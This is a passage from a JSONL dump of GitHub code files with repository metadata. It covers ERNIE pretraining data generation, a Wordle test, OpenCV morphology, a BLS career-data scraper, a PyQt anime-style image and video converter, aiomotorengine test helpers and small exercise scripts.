因为后续的步骤里面需要通过 jieba 进行分词，最后在进行 tokenize\n                # 也就是这里的 tokens 实际上是一个原始句子 str\n                tokens = line\n                if tokens:\n                    all_documents[-1].append(tokens)\n\n    # 去除空段落\n    all_documents = [x for x in all_documents if x]\n    rng.shuffle(all_documents)\n\n    instances = []\n    for _ in range(dupe_factor):\n        for document_index in range(len(all_documents)):\n            instances.extend(\n                create_instances_from_document(\n                    all_documents, document_index, max_seq_length, short_seq_prob, tokenizer, rng))\n\n    rng.shuffle(instances)\n    return instances\n\n\ndef create_instances_from_document(\n        all_documents, document_index, max_seq_length, short_seq_prob, tokenizer, rng):\n    \"\"\" 从一个文本段落生成 TrainingInstances 类型实例\"\"\"\n    document = all_documents[document_index]\n\n    # 因为句子包含 [CLS], [SEP], [SEP] 所以长度减三\n    max_num_tokens = max_seq_length - 3\n\n    # 有概率在满足 max_seq_length 的前提下随机决定新的句子总长，\n    # 以增加数据的任意性。\n    target_seq_length = max_num_tokens\n    if rng.random() < short_seq_prob:\n        target_seq_length = rng.randint(2, max_num_tokens)\n\n    # 这里采取的策略是先预选中最大长度的几个句子片段，然后将片段以完整句子为单位随机分为 A B 两部分，\n    # 如果是进入了随机下一句的 case ，则在选完 A 中的句子后，下一句从其他段落中随机挑选句子填满该 instance。\n    # \n    # 新版：这里不再像之前一样直接拿上一层分词好的结果进行运算，而是直接操作原始的字符串了，所以以下的代码从以前的操作 token 列表变成了操作 str。\n    # 因为 jieba 分词后 tokenizer 的 token 结果可能与原始句子的 token 不一致，所以不能再在上层调用里提前分好词了。\n    # 我们现在要先用 jieba 分词，然后对分词后的 tokenize 结果生成 word_seg_labels 和 ids 并同步进行截断。\n    instances = []\n    current_chunk = []\n    current_length = 0\n    i = 0\n    while i < len(document):\n        segment = document[i]\n        current_chunk.append(segment)\n        current_length += len(segment)\n        if i == len(document) - 1 or current_length >= target_seq_length:\n            if current_chunk:\n                # a_end 代表从 current_chunk 中选择多少个句子放入 A 片段\n                # A 代表第一句话\n                a_end = 1\n                if len(current_chunk) >= 2:\n                    a_end = rng.randint(1, len(current_chunk) - 1)\n\n                str_a = ''\n                for j in range(a_end):\n                    str_a += current_chunk[j]\n\n                str_b = ''\n                # 随机的 “下一句话”\n                if len(current_chunk) == 1 or rng.random() < 0.5:\n                    is_random_next = True\n                    target_b_length = target_seq_length - len(str_a)\n\n                    # 随机选取一个其他的段落以摘取一个“任意的”下一句话\n                    random_document_index = rng.randint(0, len(all_documents) - 1)\n                    for _ in range(10):\n                        if random_document_index != document_index:\n                            break\n                        random_document_index = rng.randint(0, len(all_documents) - 1)\n\n                    random_document = all_documents[random_document_index]\n                    random_start = rng.randint(0, len(random_document) - 1)\n                    for j in range(random_start, len(random_document)):\n                        str_b += random_document[j]\n                        if len(str_b) >= target_b_length:\n                            break\n                    # 这里由于采取了随机的下一句话，所以原本想当作第二句话的句子都可以放回去等待下一轮使用。\n                    num_unused_segments = len(current_chunk) - a_end\n                    i -= num_unused_segments\n                # 真实的 “下一句话” \n                else:\n                    is_random_next = False\n                    for j in range(a_end, len(current_chunk)):\n                        str_b += current_chunk[j]\n\n                # 引入中文分词，这里简单采用 jieba 库进行分词。按照 ernie 的设计\n                # word_seg_labels 表示分词边界信息: 0表示词首、1表示非词首、-1为占位符, 其对应的词为 CLS或者 SEP\n\n                tokens_a = []\n                segment_ids_a = []\n                word_seg_labels_a = []\n                \n                words = list(jieba.cut(str_a))\n                for word in words:\n                    word_tokens = tokenizer.tokenize(word)\n                    if len(word_tokens) > 0:\n                        word_seg_labels_a += [0] + [1] * (len(word_tokens) - 1)\n                        for token in word_tokens:\n                            tokens_a.append(token)\n                            segment_ids_a.append(0)\n                        assert len(tokens_a) == len(word_seg_labels_a), \"tokens_a: {}, word_seg_labels_a: {}, word: {}\".format(\n                            len(tokens_a), len(word_seg_labels_a), word)\n\n                tokens_b = []\n                segment_ids_b = []\n                word_seg_labels_b = []\n                words = list(jieba.cut(str_b))\n                for word in words:\n                    word_tokens = tokenizer.tokenize(word)\n                    if len(word_tokens) > 0:\n                        word_seg_labels_b += [0] + [1] * (len(word_tokens) - 1)\n                        for token in word_tokens:\n                            tokens_b.append(token)\n                            segment_ids_b.append(1)\n                        assert len(tokens_b) == len(word_seg_labels_b), \"tokens_a: {}, word_seg_labels_a: {}, word: {}\".format(\n                            len(tokens_b), len(word_seg_labels_b), word)\n\n                # 这里是同时对 A B 两个 turple 里的所以列表进行截断，保证最终的 instance 长度不超过 max_num_tokens\n                truncate_seq_pair((tokens_a,segment_ids_a,word_seg_labels_a), (tokens_b,segment_ids_b,word_seg_labels_b), max_num_tokens, rng)\n\n                assert len(tokens_a) >= 1\n                assert len(tokens_b) >= 1\n\n                tokens = [\"[CLS]\"]\n                segment_ids = [0]\n                word_seg_labels = [-1]\n\n                tokens += tokens_a\n                segment_ids += segment_ids_a\n                word_seg_labels += word_seg_labels_a\n                \n                tokens.append(\"[SEP]\")\n                segment_ids.append(0)\n                word_seg_labels.append(-1)\n\n                tokens += tokens_b\n                segment_ids += segment_ids_b\n                word_seg_labels += word_seg_labels_b\n                \n                tokens.append(\"[SEP]\")\n                segment_ids.append(1)\n                word_seg_labels.append(-1)\n\n                instance = TrainingInstance(\n                    tokens=tokens,\n                    segment_ids=segment_ids,\n                    word_seg_labels=word_seg_labels,\n                    is_random_next=is_random_next)\n                instances.append(instance)\n            current_chunk = []\n            current_length = 0\n        i += 1\n\n    return instances\n\n\ndef truncate_seq_pair(turple_a, turple_b, max_num_tokens, rng):\n    \"\"\" \n        将两个句子修剪至总长度小于等于设定的最大长度 \n        turple 里面装的是 tokens, segment_ids, word_seg_labels\n    \"\"\"\n    while True:\n        total_length = len(turple_a[0]) + len(turple_b[0])\n        if total_length <= max_num_tokens:\n            break\n\n        trunc_turple = turple_a if len(turple_a[0]) > len(turple_b[0]) else turple_b\n        assert len(trunc_turple[0]) >= 1\n\n        trunc_turple[0].pop()\n        trunc_turple[1].pop()\n        trunc_turple[2].pop()\n\n\n@click.command()\n@click.option(\"--input_file\", help=\"Input raw text file (or comma-separated list of files).\")\n@click.option(\"--output_file\", help=\"Output TF example file (or comma-separated list of files).\")\n@click.option(\"--max_seq_length\", default=128, help=\"Maximum sequence length.\")\n@click.option(\"--random_seed\", default=519, help=\"Random seed for data generation.\")\n@click.option(\"--dupe_factor\", default=10, help=\"Number of times to duplicate the input data (with different masks).\")\n@click.option(\"--short_seq_prob\", default=0.1, type=float,\n              help=\"Probability of creating sequences which are shorter than the maximum length.\")\n@click.option(\"--vocab_path\", help=\"The vocabulary file that the Ernie model was trained on.\")\n@click.option(\"--do_lower_case\", default=True, type=bool, help=\"Whether to lower case the input text.\")\ndef main(input_file, output_file, max_seq_length, random_seed, dupe_factor, short_seq_prob, vocab_path, do_lower_case):\n    logger.info(\"*** Loading the tokenizer ***\")\n    tokenizer = tokenization.FullTokenizer(vocab_file=vocab_path, do_lower_case=do_lower_case)\n\n    # TODO 这里没有实现原始的给定文件 pattern 来批量匹配文件\n    input_files = input_file.split(\",\")\n    logger.info(\"*** Reading from input files ***\")\n    for input_file in input_files:\n        logger.info(\"  %s\" % input_file)\n\n    rng = random.Random(random_seed)\n    instances = create_training_instances(input_files, tokenizer, max_seq_length, dupe_factor, short_seq_prob, rng)\n\n    logger.info(\"*** Writing to output file ***\")\n    logger.info(\"  %s.train  %s.eval\" % (output_file, output_file))\n\n    write_instance_to_example_files(instances, tokenizer, max_seq_length, output_file)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"JerryRC/ernie_similarity_with_pretrain","sub_path":"datapack/create_pretraining_data.py","file_name":"create_pretraining_data.py","file_ext":"py","file_size_in_byte":13820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"6796780452","text":"import pytest\n\nfrom wordle.game import CharacterState as Cs\nfrom wordle.game import guess\n\n\n@pytest.mark.parametrize(\n    \"target,guess_word,result\",\n    [\n        # Test characters in word\n        (\"backs\", \"stack\", [Cs.IN_WORD, Cs.MISS, Cs.IN_WORD, Cs.IN_WORD, Cs.IN_WORD]),\n        # Test exact characters\n        (\"backs\", \"lacks\", [Cs.MISS, Cs.EXACT, Cs.EXACT, Cs.EXACT, Cs.EXACT]),\n        # Test mix\n        (\"exact\", \"entry\", [Cs.EXACT, Cs.MISS, Cs.IN_WORD, Cs.MISS, Cs.MISS]),\n        # Test double letter in target, exact hit of one\n        (\"boost\", \"boats\", [Cs.EXACT, Cs.EXACT, Cs.MISS, Cs.IN_WORD, Cs.IN_WORD]),\n        # Test double letter in target, exact hit of both\n        (\"boost\", \"boots\", [Cs.EXACT, Cs.EXACT, Cs.EXACT, Cs.IN_WORD, Cs.IN_WORD]),\n        # Test double letter in target, one exact, one elsewhere\n        (\"boost\", \"bozos\", [Cs.EXACT, Cs.EXACT, Cs.MISS, Cs.IN_WORD, Cs.IN_WORD]),\n        # Test double letter in _word, exact hit of one\n        (\"boats\", \"boost\", [Cs.EXACT, Cs.EXACT, Cs.MISS, Cs.IN_WORD, Cs.IN_WORD]),\n        # Test double letter in guess, one exact, one elsewhere\n        (\"bozos\", \"boost\", [Cs.EXACT, Cs.EXACT, Cs.IN_WORD, Cs.IN_WORD, Cs.MISS]),\n    ],\n)\ndef test_guess(target: str, guess_word: str, result: list[Cs]):\n    actual = guess(target=target, word=guess_word)\n    assert actual == result\n","repo_name":"dalehp/wordle-winner","sub_path":"tests/test_game.py","file_name":"test_game.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22429631970","text":"# coding=utf-8\nimport cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nimg = cv2.imread('j.png',0)\n\nkernel = np.ones((5,5),np.uint)\n\ndilation = cv2.dilate(img,kernel,iterations = 1)\nerosion = cv2.erode(img,kernel,iterations = 1)\ngrad = cv2.morphologyEx(img, cv2.MORPH_GRADIENT, kernel)\n\n\nplt.subplot(221), plt.imshow(img)\nplt.title('Imagem')\nplt.subplot(222), plt.imshow(dilation)\nplt.title('Dilation')\nplt.subplot(223), plt.imshow(erosion)\nplt.title('Erosion')\nplt.subplot(224), plt.imshow(grad)\nplt.title('Gradient')\n\nplt.tight_layout()\nplt.show()","repo_name":"IFMA-Caxias/pi","sub_path":"Aula 11/Exemplo01.py","file_name":"Exemplo01.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"15581279337","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom models import CareerProjection\npage = requests.get('https://data.bls.gov/projections/occupationProj')\nsoup = BeautifulSoup(page.text, 'html.parser')\nfrom config import db\n\ndef toFloat(column):\n   return float(column.text.replace(',','').replace('$','').replace('N/A','0').replace('>=',''))\n#print(len(soup))\nmyTable = soup.find(\"table\", {\"id\": \"mytable\"})\n#tr = mytable.findAll(\"tr\",{\"class\":\"otherStatistics_table_alternateRow statistics_cellrightborder\"})\n#print(mytable.tbody)\n\nrows = myTable.findAll('tr')\nfor row in rows[3:]:\n    columns = row.find_all('td')\n\n    columList = list(columns)\n    if len(columList) !=0:\n      myColumn = columList[0].text\n      print(myColumn)\n      '''print myColumn\n      print 'before'\n      print columList[2].text\n      print 'after'\n      print toFloat(columList[2])\n      '''\n      career = CareerProjection(occupation_title =columList[0].text[0:30],\n      soc_code = columList[1].text,\n      employment_2016_thousands = toFloat(columList[2]),\n      employment_2026_thousands = toFloat(columList[3]),\n      employment_change_thousands_2026 = toFloat(columList[4]),\n      employment_change_percent_2026 = toFloat(columList[5]),\n      openings = toFloat(columList[6]),\n      median_wage = toFloat(columList[7]),\n      entry_level_education = columList[8].text,\n      work_experience_related = columList[9].text,\n      on_the_job_training = columList[10].text)\n      db.session.add(career)\n      db.session.commit()\n   # soup2 = BeautifulSoup(dataPiece, 'html.parser')\n   # td_list = soup2.find_all(\"td\")\n   # print(len(td_list))","repo_name":"bentodd1/governmentDataCrawler","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"28877007918","text":"import os\n\nfrom utility.utility import get_video_file, make_directory, get_directory\n\n\ndef model_download():\n    os.system(\"\"\"python SCUNet/main_download_pretrained_models.py --models \"SCUNet\" --model_dir \"SCUNet/model_zoo\"\"\")\n\n\ndef main():\n    model_download()\n    video_list = get_video_file(\"./low_quality\")\n    for video in video_list:\n        make_directory(\"./low_quality/\" + video.split(\"/\")[-1].split(\".\")[0])\n        # os.system(\n        #     \"ffmpeg -i \" + video + \" -vf fps=30 -f image2 ./low_quality/\" + video.split(\"/\")[-1].split(\".\")[\n        #         0] + \"/%07d.png\")\n        #\n        # os.system(\"python bsrgan/main_test_bsrgan.py\")\n\n    for dir in get_directory(\"./low_quality\"):\n        abs_dir_path = os.path.abspath(dir)\n        os.system(\"python ddpm/main.py --image-dir \" + abs_dir_path)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"brainer3220/Video-Enhanced","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7788284692","text":"import sys\r\nfrom PyQt5 import QtWidgets, QtSql\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QTableWidget, QAbstractItemView\r\nfrom copy import deepcopy\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torchvision\r\nimport torchvision.datasets as dset\r\nimport torchvision.transforms as transforms\r\nimport torch.optim as optim\r\nimport torchvision.models as models\r\nimport PIL.Image as Image\r\nimport numpy as np\r\nimport threading\r\nimport cv2\r\nimport os\r\nimport time\r\nimport subprocess\r\nimport locale\r\nimport codecs\r\n\r\n\r\nfrom 变换 import Ui_change\r\nfrom 历史 import Ui_video\r\nfrom 主界面 import Ui_main\r\nfrom 关于 import Ui_infor\r\n\r\n\r\nfrom PyQt5 import QtCore, QtGui\r\nimport pymssql\r\n\r\nimport tkinter as tk\r\nfrom tkinter.filedialog import *\r\nfrom PIL import Image\r\n\r\n\r\nclass opmain(QtWidgets.QMainWindow):\r\n\r\n    def __init__(self):\r\n        super(opmain, self).__init__()\r\n\r\n        self.ui = Ui_main()  #  这句话是实例化类\r\n        self.ui.setupUi(self)  #  这句话相当于设置控件\r\n        QtWidgets.QWidget.__init__(self)\r\n        self.ui = Ui_main()\r\n        self.ui.setupUi(self)\r\n\r\n    def open(self):  # 被调用的类需要再编写一个open函数\r\n        # self.setGeometry(300, 300, 300, 220)\r\n        self.setWindowTitle('人像动漫化')\r\n        # self.move(300, 300)\r\n        self.setWindowIcon(QIcon('图标.ico'))\r\n        self.showFullScreen()\r\n    def warn(self,str):\r\n        reply = QtWidgets.QMessageBox.warning(self, '警告', str)\r\n\r\nclass opchange(QtWidgets.QMainWindow):\r\n\r\n    def __init__(self):\r\n        self.t=0\r\n        self.ch=0\r\n        super(opchange, self).__init__()\r\n        self.ui = Ui_change()  #  这句话是实例化类\r\n        self.timer_camera = QTimer()\r\n        self.ui.setupUi(self)  #  这句话相当于设置控件\r\n        QtWidgets.QWidget.__init__(self)\r\n        self.ui = Ui_change()\r\n        self.ui.setupUi(self)\r\n        self.type=0\r\n        self.filepath=''\r\n\r\n    def open(self):  # 被调用的类需要再编写一个open函数\r\n        # self.setGeometry(300, 300, 300, 220)\r\n        self.setWindowTitle('人像动漫化')\r\n        # self.move(300, 300)\r\n        self.setWindowIcon(QIcon('图标.ico'))\r\n        self.showFullScreen()\r\n        self.list()\r\n\r\n    def warn(self,str):\r\n        reply = QtWidgets.QMessageBox.warning(self, '警告', str)\r\n\r\n    def clickshow(self):\r\n        self.ch=0\r\n        root = Tk()\r\n        root.withdraw()\r\n        self.filepath = askopenfilename()\r\n        self.ch=0\r\n        if self.filepath != None:\r\n            if self.filepath[-4:] in [\".mp4\", \".flv\", \".avi\", \".mkv\"]:\r\n                self.t=1\r\n                self.cap = cv2.VideoCapture(self.filepath)\r\n                self.type=1\r\n                self.slotStart()\r\n            elif self.filepath[-4:] in [\".jpg\", \".png\", \".bmp\"] or self.filepath[-5:] in [\".tiff\"]:\r\n                self.slotStop()\r\n                self.ui.show.setPixmap(QPixmap(self.filepath))\r\n                self.ui.show.setScaledContents(True)\r\n                self.type=2\r\n                self.t=0\r\n            elif self.filepath!='':\r\n                self.warn('仅支持图片和视频格式')\r\n                self.type=0\r\n        self.ui.address.setText(self.filepath)\r\n        self.ui.address.setWordWrap(True)\r\n\r\n    def list(self):\r\n        import os\r\n        files = os.listdir('model')  # 得到文件夹下的所有文件名称\r\n        if files=='':\r\n            files='无'\r\n\r\n        slm = QStringListModel() # 创建mode\r\n        slm.setStringList(files)  # 将数据设置到model\r\n        self.ui.model.setModel(slm)  ##绑定 listView 和 model\r\n\r\n    def warn(self,str):\r\n        reply = QtWidgets.QMessageBox.warning(self, '警告', str)\r\n\r\n    def slotStart(self):\r\n        \"\"\" Slot function to start the progamme\r\n        \"\"\"\r\n\r\n        self.timer_camera.start(100)\r\n        self.timer_camera.timeout.connect(self.openFrame)\r\n        if self.ch==1:\r\n            self.timer_camera.timeout.connect(self.openFrame2)\r\n    def slotStop(self):\r\n        \"\"\" Slot function to stop the programme\r\n        \"\"\"\r\n        if self.t==0:\r\n            return\r\n        elif self.t==1:\r\n            self.timer_camera.stop()   # 停止计时器\r\n            self.t=2\r\n        else:\r\n            self.timer_camera.start(100)\r\n            self.timer_camera.timeout.connect(self.openFrame)\r\n            if self.ch == 1:\r\n                self.timer_camera.timeout.connect(self.openFrame2)\r\n            self.t=1\r\n\r\n    def openFrame(self):\r\n        \"\"\" Slot function to capture frame and process it\r\n        \"\"\"\r\n\r\n        ret,frame = self.cap.read()\r\n\r\n        if(self.cap.isOpened()):\r\n            ret, frame = self.cap.read()\r\n            if ret:\r\n                gray= cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n                gray= cv2.cvtColor(gray, cv2.COLOR_BGR2RGB)\r\n\r\n                frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\r\n                height, width, bytesPerComponent = frame.shape\r\n                bytesPerLine = bytesPerComponent * width\r\n\r\n                q_image = QImage(frame.data,  width, height, bytesPerLine,\r\n                                 QImage.Format_RGB888).scaled(self.ui.show.width(), self.ui.show.height())\r\n                self.ui.show.setPixmap(QPixmap.fromImage(q_image))\r\n            else:\r\n                self.cap.release()\r\n                self.timer_camera.stop()   # 停止计时器\r\n\r\n    def openFrame2(self):\r\n        \"\"\" Slot function to capture frame and process it\r\n        \"\"\"\r\n\r\n        ret,frame = self.cap2.read()\r\n\r\n        if(self.cap2.isOpened()):\r\n            ret, frame = self.cap2.read()\r\n            if ret:\r\n                gray= cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n                gray= cv2.cvtColor(gray, cv2.COLOR_BGR2RGB)\r\n\r\n                frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\r\n                height, width, bytesPerComponent = frame.shape\r\n                bytesPerLine = bytesPerComponent * width\r\n\r\n                q_image = QImage(frame.data,  width, height, bytesPerLine,\r\n                                 QImage.Format_RGB888).scaled(self.ui.result.width(), self.ui.result.height())\r\n                self.ui.result.setPixmap(QPixmap.fromImage(q_image))\r\n            else:\r\n                self.cap2.release()\r\n                self.timer_camera.stop()   # 停止计时器\r\n    def resultwhat(self):\r\n        if self.type==0:\r\n            self.warn(\"请先选择文件\")\r\n            return\r\n        elif self.type==1:\r\n            tp='video2anime.py'\r\n        else:\r\n            tp='picture.py'\r\n\r\n\r\n\r\n        print('python '+tp+' --checkpoint model/'+self.ui.model.currentText()+' --input_dir '+self.filepath+' --output_dir history --device cpu')\r\n        #result=os.popen('python '+tp+' --checkpoint face_paint_512_v2_0.pt --input_dir '+'test'+' --output_dir history --device cpu')\r\n\r\n        self.warn(\"程序即将运行请稍候，运行过程可能会未响应\")\r\n        ps = subprocess.Popen('python '+tp+' --checkpoint model/'+self.ui.model.currentText()+' --input_file '+self.filepath+' --output_dir history --device cpu', stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)\r\n\r\n        while True:\r\n            data = ps.stdout.readline()\r\n            if data == b'':\r\n                if ps.poll() is not None:\r\n                    break\r\n            else:\r\n                print(data)\r\n\r\n\r\n        if self.filepath[-4:] in [\".mp4\", \".flv\", \".avi\", \".mkv\"]:\r\n            self.ch=1\r\n            self.cap2 = cv2.VideoCapture('history/'+self.filepath.split(\"/\")[-1])\r\n            self.slotStart()\r\n        elif self.filepath[-4:] in [\".jpg\", \".png\", \".bmp\"] or self.filepath[-5:] in [ \".tiff\"]:\r\n            print('history/'+self.filepath.split(\"/\")[-1])\r\n            self.ui.result.setPixmap(QPixmap('history/'+self.filepath.split(\"/\")[-1]))\r\n            self.ui.result.setScaledContents(True)\r\n\r\n\r\nclass opvideo(QtWidgets.QMainWindow):\r\n\r\n    def __init__(self):\r\n        super(opvideo, self).__init__()\r\n        QtWidgets.QWidget.__init__(self)\r\n        self.ui = Ui_video()\r\n        self.ui.setupUi(self)\r\n        self.ui.choices.currentIndexChanged.connect(self.choose)  # 点击下拉列表，触发对应事件\r\n        self.timer_camera = QTimer()\r\n        self.t=0\r\n        self.type=0\r\n\r\n    def open(self):  # 被调用的类需要再编写一个open函数\r\n        # self.setGeometry(300, 300, 300, 220)\r\n        self.setWindowTitle('人像动漫化')\r\n        # self.move(300, 300)\r\n        self.setWindowIcon(QIcon('图标.ico'))\r\n        self.showFullScreen()\r\n        self.list()\r\n\r\n\r\n    def warn(self,str):\r\n        reply = QtWidgets.QMessageBox.warning(self, '警告', str)\r\n\r\n    def list(self):\r\n        import os\r\n        files = os.listdir('history')  # 得到文件夹下的所有文件名称\r\n        if files=='':\r\n            files='无'\r\n        else:\r\n            files=['请选择']+files\r\n        slm = QStringListModel() # 创建mode\r\n        slm.setStringList(files)  # 将数据设置到model\r\n        self.ui.choices.setModel(slm)  ##绑定 listView 和 model\r\n\r\n    def choose(self):\r\n\r\n        if self.ui.choices.currentText()=='无' or self.ui.choices.currentText()=='未选择':\r\n\r\n            return\r\n        else:\r\n            if self.ui.choices.currentText()[-3:] == 'mp4' or self.ui.choices.currentText()[-3:] == 'avi':\r\n                self.type=1\r\n                self.t = 1\r\n                self.cap = cv2.VideoCapture('history/'+self.ui.choices.currentText())\r\n                self.slotStart()\r\n            else:\r\n                if self.type==1:\r\n                    self.cap.release()\r\n                    self.timer_camera.stop()  # 停止计时器\r\n                self.type=2\r\n                self.ui.show.setPixmap(QPixmap('history/'+self.ui.choices.currentText()))\r\n                self.ui.show.setScaledContents(True)\r\n\r\n\r\n\r\n    def slotStart(self):\r\n        \"\"\" Slot function to start the progamme\r\n        \"\"\"\r\n\r\n        self.timer_camera.start(100)\r\n        self.timer_camera.timeout.connect(self.openFrame)\r\n\r\n    def slotStop(self):\r\n        \"\"\" Slot function to stop the programme\r\n        \"\"\"\r\n        if self.t==0 or self.type==2 or self.type==0:\r\n            return\r\n        elif self.t==1:\r\n            self.timer_camera.stop()   # 停止计时器\r\n            self.t=2\r\n        else:\r\n            self.timer_camera.start(100)\r\n            self.timer_camera.timeout.connect(self.openFrame)\r\n            self.t=1\r\n\r\n    def openFrame(self):\r\n        \"\"\" Slot function to capture frame and process it\r\n        \"\"\"\r\n\r\n        ret,frame = self.cap.read()\r\n        if(self.cap.isOpened()):\r\n            ret, frame = self.cap.read()\r\n            if ret:\r\n                gray= cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n                gray= cv2.cvtColor(gray, cv2.COLOR_BGR2RGB)\r\n\r\n                frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\r\n                height, width, bytesPerComponent = frame.shape\r\n                bytesPerLine = bytesPerComponent * width\r\n\r\n                q_image = QImage(frame.data,  width, height, bytesPerLine,\r\n                                 QImage.Format_RGB888).scaled(self.ui.show.width(), self.ui.show.height())\r\n                self.ui.show.setPixmap(QPixmap.fromImage(q_image))\r\n            else:\r\n                self.cap.release()\r\n                self.timer_camera.stop()   # 停止计时器\r\n\r\n\r\n\r\nclass opinfor(QtWidgets.QMainWindow):\r\n\r\n    def __init__(self):\r\n        super(opinfor, self).__init__()\r\n\r\n        self.ui = Ui_infor()  #  这句话是实例化类\r\n\r\n        self.ui.setupUi(self)  #  这句话相当于设置控件\r\n        QtWidgets.QWidget.__init__(self)\r\n        self.ui = Ui_infor()\r\n        self.ui.setupUi(self)\r\n\r\n    def open(self):  # 被调用的类需要再编写一个open函数\r\n        # self.setGeometry(300, 300, 300, 220)\r\n        self.setWindowTitle('人像动漫化')\r\n        # self.move(300, 300)\r\n        self.setWindowIcon(QIcon('图标.ico'))\r\n        self.show()\r\n    def warn(self,str):\r\n        reply = QtWidgets.QMessageBox.warning(self, '警告', str)\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n    image_size = (1440, 810)\r\n    data_transform = transforms.Compose([\r\n        transforms.RandomHorizontalFlip(),\r\n        transforms.Resize(image_size),\r\n        transforms.ToTensor(),\r\n        transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),\r\n    ])\r\n    #train_data = dset.ImageFolder(root=\"train\", transform=data_transform)\r\n    #model = torch.load('resnext101_92.5.pkl', map_location='cpu')\r\n    #model.eval()\r\n\r\n\r\n    app = QtWidgets.QApplication(sys.argv)\r\n\r\n    change=opchange()\r\n    video=opvideo()\r\n    main=opmain()\r\n    infor=opinfor()\r\n\r\n    main.open()\r\n\r\n    change.ui.showwhat.clicked.connect(change.clickshow)\r\n    change.ui.resultwhat.clicked.connect(change.resultwhat)\r\n    change.ui.stop.clicked.connect(change.slotStop)\r\n    change.ui.back.clicked.connect(main.open)\r\n    change.ui.back.clicked.connect(change.close)\r\n\r\n    main.ui.video.clicked.connect(video.open)\r\n    main.ui.change.clicked.connect(change.open)\r\n\r\n    video.ui.back.clicked.connect(main.open)\r\n    video.ui.back.clicked.connect(video.close)\r\n    video.ui.stop.clicked.connect(video.slotStop)\r\n\r\n    infor.ui.close.clicked.connect(infor.close)\r\n\r\n    main.ui.closesys.clicked.connect(main.close)\r\n\r\n    main.ui.infor.clicked.connect(infor.open)\r\n    sys.exit(app.exec_())","repo_name":"Dingcheng-jie/animation","sub_path":"UI/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14446545961","text":"#se você correr 10 km em 42 min e 42 seg, qual é o seu passo médio em milhas por horas?\r\nkm= 10\r\nmilhas= 1.609\r\nminutos= 42\r\nsegundos= 60\r\nsegundos_restantes= 42\r\nmilhas_totais= km / milhas\r\nsegundos_totais= minutos * segundos + segundos_restantes\r\nhoras= segundos_totais/3600\r\nvelocidade_media= milhas_totais/horas\r\nprint (\"a velocidade media sera de {:.2f}\".format(velocidade_media),\"milhas/h\")","repo_name":"RSFritsch/exercisesPython","sub_path":"vel_med.py","file_name":"vel_med.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32868386798","text":"#!/usr/bin/env python\nimport unittest\nimport nose.tools\nimport asyncio\nfrom functools import wraps\n\nimport aiomotorengine.connection\nfrom aiomotorengine import connect\n\n\nclass AsyncTestCase(unittest.TestCase):\n    ''' Base class for all test cases with asyncio event loop and mongodb '''\n    def setUp(self, auto_connect=True):\n        self.io_loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n        if auto_connect:\n            self.db = connect(\n                \"test\", host=\"localhost\", port=27017, io_loop=self.io_loop\n            )\n\n    def tearDown(self):\n        aiomotorengine.connection.cleanup()\n\n    def drop_coll(self, coll):\n        collection = self.db[coll]\n        self.io_loop.run_until_complete(collection.drop())\n\n    async def drop_coll_async(self, coll):\n        collection = self.db[coll]\n        await collection.drop()\n\n\n@nose.tools.nottest\ndef async_test(func):\n    @wraps(func)\n    def wrapper(*args, **kwargs):\n        async def go():\n            await func(*args, **kwargs)\n        self = args[0]\n        self.io_loop.run_until_complete(go())\n    return wrapper\n\n#    def exec_async(self, method, *args, **kw):\n#        method(callback=self.stop, *args, **kw)\n#        result = self.wait()\n#\n#        return result['args'], result['kwargs']\n","repo_name":"ilex/aiomotorengine","sub_path":"tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"22"}
+{"seq_id":"73060483601","text":"############################################\n# PART 1\n############################################\n\n# data = None\n\n# with open(\"06/test.txt\") as file:\n#     data = [int(i) for i in file.read().split(\",\")]\n\n# expected = []\n# days = 18\n# for i in range(days):\n#     data = [6 if fish == 0 else fish-1 for fish in data] + [8 for fish in data if fish == 0]\n# print(len(data))\n\n############################################\n# PART 2\n############################################\n\n# --------------- debug code ---------------\narrow_0 = \" ^  1  2  3  4  5  6 \"\ndef debug_print_fish_counts(i):\n    print(\"------------------------\")\n    print(f\"Day {i:>4}:\",fishes, babies)\n    global arrow_0\n    arrow_0_colored = \"          \" + \"\\033[38;5;154m\" + arrow_0 + \"\\033[38;5;156m\" + \"  7  8\" + \"\\033[0m\"\n    arrow_0 = arrow_0[-3:] + arrow_0[:-3]\n    print(arrow_0_colored)\n\n# --------------- actual important stuff for part 2 ---------------\nwith 